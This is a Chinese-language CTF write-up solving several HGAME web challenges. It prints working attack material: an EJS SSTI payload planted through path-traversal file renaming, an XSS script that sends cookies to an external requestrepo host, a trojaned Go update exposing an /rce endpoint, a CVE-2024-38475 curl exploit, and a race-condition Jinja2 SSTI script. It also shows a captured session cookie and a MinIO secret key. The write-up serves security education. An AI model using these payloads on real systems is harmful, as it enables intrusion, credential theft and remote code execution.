Level 24 Pacman
前端小游戏,先看看静态资源,JS 里应该有东西
疑似混淆过,先放到在线解混淆网站再看(顺便还会把代码格式化)。扫一眼,index.js
里面接近末尾的地方有两个 Base64
解出来是 haeu4epca_4trgm{_r_amnmse}
和 haepaiemkspretgm{rtc_ae_efc}
,很像 flag 打乱了位置。试试栅栏密码(下图是枚举解密)
Level 47 BandBomb
给了源码:
const express = require('express');
const multer = require('multer');
const fs = require('fs');
const path = require('path');
const app = express();
app.set('view engine', 'ejs');
app.use('/static', express.static(path.join(__dirname, 'public')));
app.use(express.json());
const storage = multer.diskStorage({
destination: (req, file, cb) => {
const uploadDir = 'uploads';
if (!fs.existsSync(uploadDir)) {
fs.mkdirSync(uploadDir);
}
cb(null, uploadDir);
},
filename: (req, file, cb) => {
cb(null, file.originalname);
}
});
const upload = multer({
storage: storage,
fileFilter: (_, file, cb) => {
try {
if (!file.originalname) {
return cb(new Error('无效的文件名'), false);
}
cb(null, true);
} catch (err) {
cb(new Error('文件处理错误'), false);
}
}
});
app.get('/', (req, res) => {
const uploadsDir = path.join(__dirname, 'uploads');
if (!fs.existsSync(uploadsDir)) {
fs.mkdirSync(uploadsDir);
}
fs.readdir(uploadsDir, (err, files) => {
if (err) {
return res.status(500).render('mortis', { files: [] });
}
res.render('mortis', { files: files });
});
});
app.post('/upload', (req, res) => {
upload.single('file')(req, res, (err) => {
if (err) {
return res.status(400).json({ error: err.message });
}
if (!req.file) {
return res.status(400).json({ error: '没有选择文件' });
}
res.json({
message: '文件上传成功',
filename: req.file.filename
});
});
});
app.post('/rename', (req, res) => {
const { oldName, newName } = req.body;
const oldPath = path.join(__dirname, 'uploads', oldName);
const newPath = path.join(__dirname, 'uploads', newName);
if (!oldName || !newName) {
return res.status(400).json({ error: ' ' });
}
fs.rename(oldPath, newPath, (err) => {
if (err) {
return res.status(500).json({ error: ' ' + err.message });
}
res.json({ message: ' ' });
});
});
app.listen(port, () => {
console.log(`服务器运行在 http://localhost:${port}`);
});
文件上传功能。注意到 /rename
接口允许用户重命名上传的文件,并且没有过滤。因此首先考虑目录穿越,看看能不能覆盖掉某些文件。从源码中可以看到上传文件路径是 __dirname/uploads
上传一个文件,在 /rename
接口重命名为 ../app.js
没有生效,似乎文件名并不是 app.js
另外注意到服务端使用了 EJS 模板引擎,使用的模板文件名是 mortis
。也许可以覆盖 mortis.ejs
打 SSTI
Express 模板文件默认在项目的
views
目录下
写一个 override.ejs
,内容如下:
<%- global.process.mainModule.require('child_process').execSync('env') %>
上传,重命名为 ../views/mortis.ejs
(注意 Content-Type 字段需要是 application/json
)
{
"oldName": "override.ejs",
"newName": "../views/mortis.ejs"
}
回到根路由即可看到环境变量,CTRL+F
搜索 hgame
即可找到 flag
Level 69 MysteryMessageBoard
进去是一个留言板。提示 shallot 要登录,以它为用户名爆破可以爆出弱密码 888888
目录扫描可以扫到 /admin
接口,按照提示应该是访问之后 "admin" 会查看留言板
所以在留言板进行 XSS 攻击盗取 Cookie
<script>fetch('https://6x6j4aru.requestrepo.com/', {method: 'POST',body: document.cookie});</script>
现在有了 admin 的 cookie session=MTczODY0NzI3MnxEWDhFQVFMX2dBQUJFQUVRQUFBbl80QUFBUVp6ZEhKcGJtY01DZ0FJZFhObGNtNWhiV1VHYzNSeWFXNW5EQWNBQldGa2JXbHV8vYPr136joyeV7b8rFpjC9C4xb24g0k8AR9hk905F8B0=
。但是带上 cookie 访问各个页面都没有什么区别,于是尝试带着 Cookie 扫描目录:
发现有 /flag
接口,带着 admin 的 Cookie 访问得到 flag
Level 25 双面人派对
Step I
给了两个容器环境 port-forwarder.service 和 app.service,第二个环境可以在浏览器访问,页面可以下载一个 main
文件,看起来是可执行程序,运行它看看
可以看到程序一直在试图连接回环地址 9000 端口,当前本机上没有相应的服务,所以连接失败。在浏览器访问第一个容器的 /prodbucket?location=
提示 Access Denied,可能是权限不足
访问 http://localhost:8080
还可以看到网页把程序所在目录下的所有文件都列出来了
调试信息由 GIN-debug 提供,所以这是一个 Go 语言程序(GIN 框架)
题目描述提到需要与 0 号实体沟通,应该需要让程序与第一个题目容器通信。于是在本地启动一个 socat 转发:
socat TCP-LISTEN:9000,fork,reuseaddr TCP:node1.hgame.vidar.club:30443
启动 tcpdump 捕获发到 9000 端口的包
sudo tcpdump -i lo -nn 'port 9000' -w main_to_9000.pcap
然后 ./main
启动程序,发现连接失败的错误消失了
开启 socat 转发时启动 main 没有输出且流量包没有 http 请求可能是因为程序监听的端口被占用,
lsof -i :8080
查看端口占用请求然后 kill 掉即可
打开抓包得到的 pcap 文件,跟踪 TCP 流:
GET /prodbucket/?location= HTTP/1.1
Host: 127.0.0.1:9000
User-Agent: MinIO (linux; amd64) minio-go/v7.0.83
Authorization: AWS4-HMAC-SHA256 Credential=minio_admin/20250206/us-east-1/s3/aws4_request, SignedHeaders=host;x-amz-content-sha256;x-amz-date, Signature=3bdb7b77d6392a75f04bf78589f6996383b4ae8c1f90c7a34d2d168122e7e873
X-Amz-Content-Sha256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
X-Amz-Date: 20250206T064428Z
HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Length: 128
Content-Type: application/xml
Server: MinIO
Strict-Transport-Security: max-age=31536000; includeSubDomains
Vary: Origin
Vary: Accept-Encoding
X-Amz-Id-2: dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8
X-Amz-Request-Id: 18218B75BF6EBF2B
X-Content-Type-Options: nosniff
X-Ratelimit-Limit: 304
X-Ratelimit-Remaining: 304
X-Xss-Protection: 1; mode=block
Date: Thu, 06 Feb 2025 06:44:28 GMT
<?xml version="1.0" encoding="UTF-8"?>
<LocationConstraint xmlns="http://s3.amazonaws.com/doc/2006-03-01/"></LocationConstraint>
GET /prodbucket/update HTTP/1.1
Host: 127.0.0.1:9000
User-Agent: MinIO (linux; amd64) minio-go/v7.0.83
Authorization: AWS4-HMAC-SHA256 Credential=minio_admin/20250206/us-east-1/s3/aws4_request, SignedHeaders=host;x-amz-content-sha256;x-amz-date, Signature=892fe2323a5c5ee359bad55a215fb58f5682327576c1403b02fbe81cdbf785ea
X-Amz-Content-Sha256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
X-Amz-Date: 20250206T064429Z
HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Length: 7018224
Content-Type: application/octet-stream
ETag: "1bc1c804bed3623304b73f26d634484b"
Last-Modified: Fri, 17 Jan 2025 14:11:09 GMT
Server: MinIO
Strict-Transport-Security: max-age=31536000; includeSubDomains
Vary: Origin
Vary: Accept-Encoding
X-Amz-Id-2: dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8
X-Amz-Request-Id: 18218B75C5713514
X-Content-Type-Options: nosniff
X-Ratelimit-Limit: 304
X-Ratelimit-Remaining: 304
X-Xss-Protection: 1; mode=block
Date: Thu, 06 Feb 2025 06:44:29 GMT
后面是大段的重复数据
MinIO 是一个兼容 Amazon S3 API 的对象存储服务,可以使用 AWS SDK 与 MinIO 进行通信。此处存储桶名称为 prodbucket,对象键为 update
注意到发到 127.0.0.1:9000
的请求有 Authorization
和几个 X
开头的字段,由于之前访问一个路径提示拒绝访问,可以将它们复制过来,带上这些请求头再访问一下 /prodbucket/?location=
看看:
RequestTimeTooSkewed The difference between the request time and the server's time is too large.
需要伪造这些请求头字段(如果只是生成一个 X-Aws-Date,会提示签名无效)。为了伪造身份,需要 AccessKey 和 SecretKey
由于程序在我的电脑上也能正常与服务器通信,密钥应该是硬编码进程序了
Step II
尝试在程序内部寻找更多信息。main
拖进 IDA Pro 发现只有两个函数,应该是加壳了。拖进 Exeinfo PE 看看
有 upx 壳,于是使用脱壳工具 https://github.com/upx/upx/releases
upx -d main
重新拖进 IDA,出现了很多函数。首先看 main_main
函数
注意到关键词 AccessKey
SecretKey
,这些字段都存储在 level25_conf_*
配置结构中。Shift + F12
查看字符串,CTRL + F
搜索可能的关键词。搜索 endpoint
时看到最下面有需要的信息
双击点开
Step III
现在有了密钥,可以在 Python 中使用 boto3 库与 MinIO 服务通信。以下代码仿照了之前 main
程序获取 update 数据
import boto3
from botocore.exceptions import NoCredentialsError
ENDPOINT = 'node1.hgame.vidar.club:31363' # port-forwarder.service - unknown 容器
AWS_ACCESS_KEY = 'minio_admin'
AWS_SECRET_KEY = 'JPSQ4NOBvh2/W7hzdLyRYLDm0wNRMG48BL09yOKGpHs='
BUCKET = "prodbucket"
KEY = "update"
if __name__ == '__main__':
# 创建 S3 客户端
client = boto3.client(
's3',
endpoint_url=f'http://{ENDPOINT}',
aws_access_key_id=AWS_ACCESS_KEY,
aws_secret_access_key=AWS_SECRET_KEY,
config=boto3.session.Config(signature_version='s3v4'),
region_name='us-east-1'
)
try:
# 获取对象
response = client.get_object(Bucket=BUCKET, Key=KEY)
data = response['Body'].read()
print(f"Object data: {data}")
except NoCredentialsError:
print("Credentials not available")
except Exception as e:
print(f"An error occurred: {e}")
运行得到了一大串二进制数据,说明成功冒充 main
与服务器进行通信,并获取了存储在 MinIO 存储桶中的文件 (update)。通过 client.list_objects(Bucket=BUCKET)
可以获取桶中对象
{'ResponseMetadata': {'RequestId': '1821D64B6E0DA122', 'HostId': 'dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8', 'HTTPStatusCode': 200, 'HTTPHeaders': {'accept-ranges': 'bytes', 'content-length': '591', 'content-type': 'application/xml', 'server': 'MinIO', 'strict-transport-security': 'max-age=31536000; includeSubDomains', 'vary': 'Origin, Accept-Encoding', 'x-amz-id-2': 'dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8', 'x-amz-request-id': '1821D64B6E0DA122', 'x-content-type-options': 'nosniff', 'x-ratelimit-limit': '304', 'x-ratelimit-remaining': '304', 'x-xss-protection': '1; mode=block', 'date': 'Fri, 07 Feb 2025 05:35:50 GMT'}, 'RetryAttempts': 0}, 'IsTruncated': False, 'Marker': '', 'Contents': [{'Key': 'update', 'LastModified': datetime.datetime(2025, 1, 17, 14, 11, 9, 932000, tzinfo=tzutc()), 'ETag': '"1bc1c804bed3623304b73f26d634484b"', 'Size': 7018224, 'StorageClass': 'STANDARD', 'Owner': {'DisplayName': 'minio', 'ID': '02d6176db174dc93cb1b899f7c6078f08654445fe8cf1b6ce98d8855f66bdbf4'}}], 'Name': 'prodbucket', 'Prefix': '', 'MaxKeys': 1000, 'EncodingType': 'url'}
只有一个 key "update"。去其他桶看看(通过 client.list_buckets()
获取所有桶)
看到除了 prodbucket 还有一个 hints 桶,再通过 client.list_objects(bucket='hints')
看看
{'ResponseMetadata': {'RequestId': '1821D77DD3AE35FE', 'HostId': 'dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8', 'HTTPStatusCode': 200, 'HTTPHeaders': {'accept-ranges': 'bytes', 'content-length': '584', 'content-type': 'application/xml', 'server': 'MinIO', 'strict-transport-security': 'max-age=31536000; includeSubDomains', 'vary': 'Origin, Accept-Encoding', 'x-amz-id-2': 'dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8', 'x-amz-request-id': '1821D77DD3AE35FE', 'x-content-type-options': 'nosniff', 'x-ratelimit-limit': '304', 'x-ratelimit-remaining': '304', 'x-xss-protection': '1; mode=block', 'date': 'Fri, 07 Feb 2025 05:57:46 GMT'}, 'RetryAttempts': 0}, 'IsTruncated': False, 'Marker': '', 'Contents': [{'Key': 'src.zip', 'LastModified': datetime.datetime(2025, 1, 17, 14, 11, 5, 970000, tzinfo=tzutc()), 'ETag': '"69dfd5075a6ba49c7c6e82a7d7700574"', 'Size': 8433, 'StorageClass': 'STANDARD', 'Owner': {'DisplayName': 'minio', 'ID': '02d6176db174dc93cb1b899f7c6078f08654445fe8cf1b6ce98d8855f66bdbf4'}}], 'Name': 'hints', 'Prefix': '', 'MaxKeys': 1000, 'EncodingType': 'url'}
有一个 src.zip
key,把它下载下来
import boto3
from botocore.exceptions import NoCredentialsError
ENDPOINT = 'node1.hgame.vidar.club:31348' # port-forwarder.service - unknown 容器
AWS_ACCESS_KEY = 'minio_admin'
AWS_SECRET_KEY = 'JPSQ4NOBvh2/W7hzdLyRYLDm0wNRMG48BL09yOKGpHs='
BUCKET = "hints"
KEY = "src.zip"
if __name__ == '__main__':
client = boto3.client(
's3',
endpoint_url=f'http://{ENDPOINT}',
aws_access_key_id=AWS_ACCESS_KEY,
aws_secret_access_key=AWS_SECRET_KEY,
config=boto3.session.Config(signature_version='s3v4'),
region_name='us-east-1'
)
try:
response = client.get_object(Bucket=BUCKET, Key=KEY)
data = response['Body'].read()
with open('src.zip', 'wb') as f:
f.write(data)
except NoCredentialsError:
print("Credentials not available")
except Exception as e:
print(f"An error occurred: {e}")
解压 src.zip
得到 Go 语言源码
Step IV
看看源码。main.go
:
package main
import (
"level25/fetch"
"level25/conf"
"github.com/gin-gonic/gin"
"github.com/jpillora/overseer"
)
func main() {
fetcher := &fetch.MinioFetcher{
Bucket: conf.MinioBucket,
Key: conf.MinioKey,
Endpoint: conf.MinioEndpoint,
AccessKey: conf.MinioAccessKey,
SecretKey: conf.MinioSecretKey,
}
overseer.Run(overseer.Config{
Program: program,
Fetcher: fetcher,
})
}
func program(state overseer.State) {
g := gin.Default()
g.StaticFS("/", gin.Dir(".", true))
g.Run(":8080")
}
conf/conf.go
:
package conf
import (
"os"
_ "embed"
"gopkg.in/yaml.v3"
)
//go:embed config.default.yaml
var defaultConfig []byte
type Config struct {
Minio struct {
Endpoint string `yaml:"endpoint"`
AccessKey string `yaml:"access_key"`
SecretKey string `yaml:"secret_key"`
Bucket string `yaml:"bucket"`
Key string `yaml:"key"`
} `yaml:"minio"`
}
var (
MinioEndpoint string
MinioAccessKey string
MinioSecretKey string
MinioBucket string
MinioKey string
)
func init() {
config := loadConfig()
// 直接使用配置文件中的值
MinioEndpoint = config.Minio.Endpoint
MinioAccessKey = config.Minio.AccessKey
MinioSecretKey = config.Minio.SecretKey
MinioBucket = config.Minio.Bucket
MinioKey = config.Minio.Key
}
func loadConfig() Config {
var config Config
// 尝试读取外部配置文件
data, err := os.ReadFile("config.yaml")
if err != nil {
// 如果外部配置不存在,使用嵌入的默认配置
data = defaultConfig
}
// 解析YAML
if err := yaml.Unmarshal(data, &config); err != nil {
panic("Failed to parse config: " + err.Error())
}
return config
}
fetch/minio_fetcher.go
:
package fetch
import (
"context"
"io"
"github.com/jpillora/overseer/fetcher"
"github.com/minio/minio-go/v7"
"github.com/minio/minio-go/v7/pkg/credentials"
)
type MinioFetcher struct {
Bucket string
Key string
Region string
Endpoint string
AccessKey string
SecretKey string
client *minio.Client
}
var _ fetcher.Interface = &MinioFetcher{}
func (f *MinioFetcher) Init() error {
client, err := minio.New(f.Endpoint, &minio.Options{
Creds: credentials.NewStaticV4(f.AccessKey, f.SecretKey, ""),
Region: f.Region,
})
if err != nil {
return err
}
f.client = client
return nil
}
func (f *MinioFetcher) Fetch() (io.Reader, error) {
obj, err := f.client.GetObject(context.Background(), f.Bucket, f.Key, minio.GetObjectOptions{})
if err != nil {
return nil, err
}
return obj, nil
}
一眼看下来就是从 MinIO
服务里通过 update
key 从 prodbucket
下载文件,根据 update 词义像是把程序本身替换(更新)成下载的文件。先来看看如果把 update 文件换成别的会发生什么
修改 main.go
如下
package main
import (
"level25/fetch"
"level25/conf"
"github.com/gin-gonic/gin"
"github.com/jpillora/overseer"
"log"
"net/http"
"os/exec"
)
func main() {
fetcher := &fetch.MinioFetcher{
Bucket: conf.MinioBucket,
Key: conf.MinioKey,
Endpoint: conf.MinioEndpoint,
AccessKey: conf.MinioAccessKey,
SecretKey: conf.MinioSecretKey,
}
overseer.Run(overseer.Config{
Program: program,
Fetcher: fetcher,
})
}
func program(state overseer.State) {
g := gin.Default()
// g.StaticFS("/", gin.Dir(".", true))
g.GET("/", func(c *gin.Context) {
c.JSON(http.StatusOK, gin.H{
"message": "success",
})
})
g.GET("/rce", func(c *gin.Context) {
cmdStr := c.Query("cmd")
if cmdStr == "" {
c.JSON(http.StatusBadRequest, gin.H{"error": "missing cmd parameter"})
return
}
out, err := exec.Command("sh", "-c", cmdStr).Output()
if err != nil {
log.Println("Command execution error:", err)
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
c.JSON(http.StatusOK, gin.H{
"result": string(out),
})
})
g.Run(":8080")
}
下载依赖并编译项目
go mod tidy
go build -o update
mv update ../
cd ../
通过 update
key 上传并覆盖原来的文件
import boto3
from botocore.exceptions import NoCredentialsError
ENDPOINT = 'node1.hgame.vidar.club:31348' # port-forwarder.service - unknown 容器
AWS_ACCESS_KEY = 'minio_admin'
AWS_SECRET_KEY = 'JPSQ4NOBvh2/W7hzdLyRYLDm0wNRMG48BL09yOKGpHs='
BUCKET = "prodbucket"
KEY = "update"
if __name__ == '__main__':
client = boto3.client(
's3',
endpoint_url=f'http://{ENDPOINT}',
aws_access_key_id=AWS_ACCESS_KEY,
aws_secret_access_key=AWS_SECRET_KEY,
config=boto3.session.Config(signature_version='s3v4'),
region_name='us-east-1'
)
try:
local_file_path = 'update'
with open(local_file_path, 'rb') as f:
client.put_object(Bucket=BUCKET, Key=KEY, Body=f)
print("File uploaded and replaced successfully.")
except NoCredentialsError:
print("Credentials not available")
except Exception as e:
print(f"An error occurred: {e}")
等待一会成功上传,回到浏览器访问第二个容器(app.service),发现返回了自己定义的 JSON。说明程序已更新为自己上传的程序。
访问之前定义的接口即可执行系统命令(/rce?cmd=cat /flag
)
Level 38475 角落
首先可以看到根路由的服务器是 Apache/2.4.59 (Unix)
点击按钮进去是一个留言板,服务器是 Werkzeug/2.2.2 Python/3.11.2
。XSS 测试没有反应
目录扫描发现有 /robots.txt
,内容是 User-agent: * Disallow: /app.conf Disallow: /app/*
app.conf 内容:
# Include by httpd.conf
<Directory "/usr/local/apache2/app">
Options Indexes
AllowOverride None
Require all granted
</Directory>
<Files "/usr/local/apache2/app/app.py">
Order Allow,Deny
Deny from all
</Files>
RewriteEngine On
RewriteCond "%{HTTP_USER_AGENT}" "^L1nk/"
RewriteRule "^/admin/(.*)$" "/$1.html?secret=todo"
ProxyPass "/app/" "http://127.0.0.1:5000/"
从这个 Apache 配置可以看到 /admin/(.*)
下 User-Agent 以 L1nk/
开头时会重写 URL 到 /$1.html?secret=todo
。如下请求会跳转到 /index.html?secret=todo
GET /admin/index HTTP/1.1
Host: node2.hgame.vidar.club:32444
User-Agent: L1nk/test
在官网查找相关漏洞:Apache HTTP Server 2.4 vulnerabilities。有关 URL 重写的已知漏洞可以找到 CVE-2024-38475
根据配置内容,对 app.py
的访问进行了限制,利用 CVE-2024-38475 访问 app.py 的绝对路径:
curl -i node1.hgame.vidar.club:32225/admin/usr/local/apache2/app/app.py%3fooo.py -A 'L1nk/Exploit'
服务器响应在请求体中中给出了 app.py
的源码
from flask import Flask, request, render_template, render_template_string, redirect
import os
import templates
app = Flask(__name__)
pwd = os.path.dirname(__file__)
show_msg = templates.show_msg
def readmsg():
filename = pwd + "/tmp/message.txt"
if os.path.exists(filename):
f = open(filename, 'r')
message = f.read()
f.close()
return message
else:
return 'No message now.'
@app.route('/index', methods=['GET'])
def index():
status = request.args.get('status')
if status is None:
status = ''
return render_template("index.html", status=status)
@app.route('/send', methods=['POST'])
def write_message():
filename = pwd + "/tmp/message.txt"
message = request.form['message']
f = open(filename, 'w')
f.write(message)
f.close()
return redirect('index?status=Send successfully!!')
@app.route('/read', methods=['GET'])
def read_message():
if "{" not in readmsg():
show = show_msg.replace("{{message}}", readmsg())
return render_template_string(show)
return 'waf!!'
if __name__ == '__main__':
app.run(host = '0.0.0.0', port = 5000)
过滤了单个 {
,一般来说完全没有花括号是没法打 Jinja2 SSTI 的,考虑从代码其他部分入手
代码中有可疑的文件读写操作,想到条件竞争,写个脚本利用
TARGET="http://node1.hgame.vidar.club:32078"
FRIENDLY="Friendly message"
MALICIOUS="Success: {{''.__class__.__base__.__subclasses__()[103].__init__.__globals__['__import__']('os').popen('cat /flag').read()}}"
echo "Exploiting ${TARGET}..."
curl -s -X POST -d "message=${FRIENDLY}" ${TARGET}/app/send > /dev/null
(
while true; do
curl -s -X POST -d "message=${FRIENDLY}" ${TARGET}/app/send > /dev/null &
curl -s -X POST -d "message=${MALICIOUS}" ${TARGET}/app/send > /dev/null &
sleep 0.1
done
) &
WRITER_PID=$!
while true; do
RESPONSE=$(curl -s ${TARGET}/app/read)
if echo "$RESPONSE" | grep -o "Latest message: Success: .*"; then
echo "Exploited successfully: $RESPONSE"
kill $WRITER_PID
exit 0
fi
done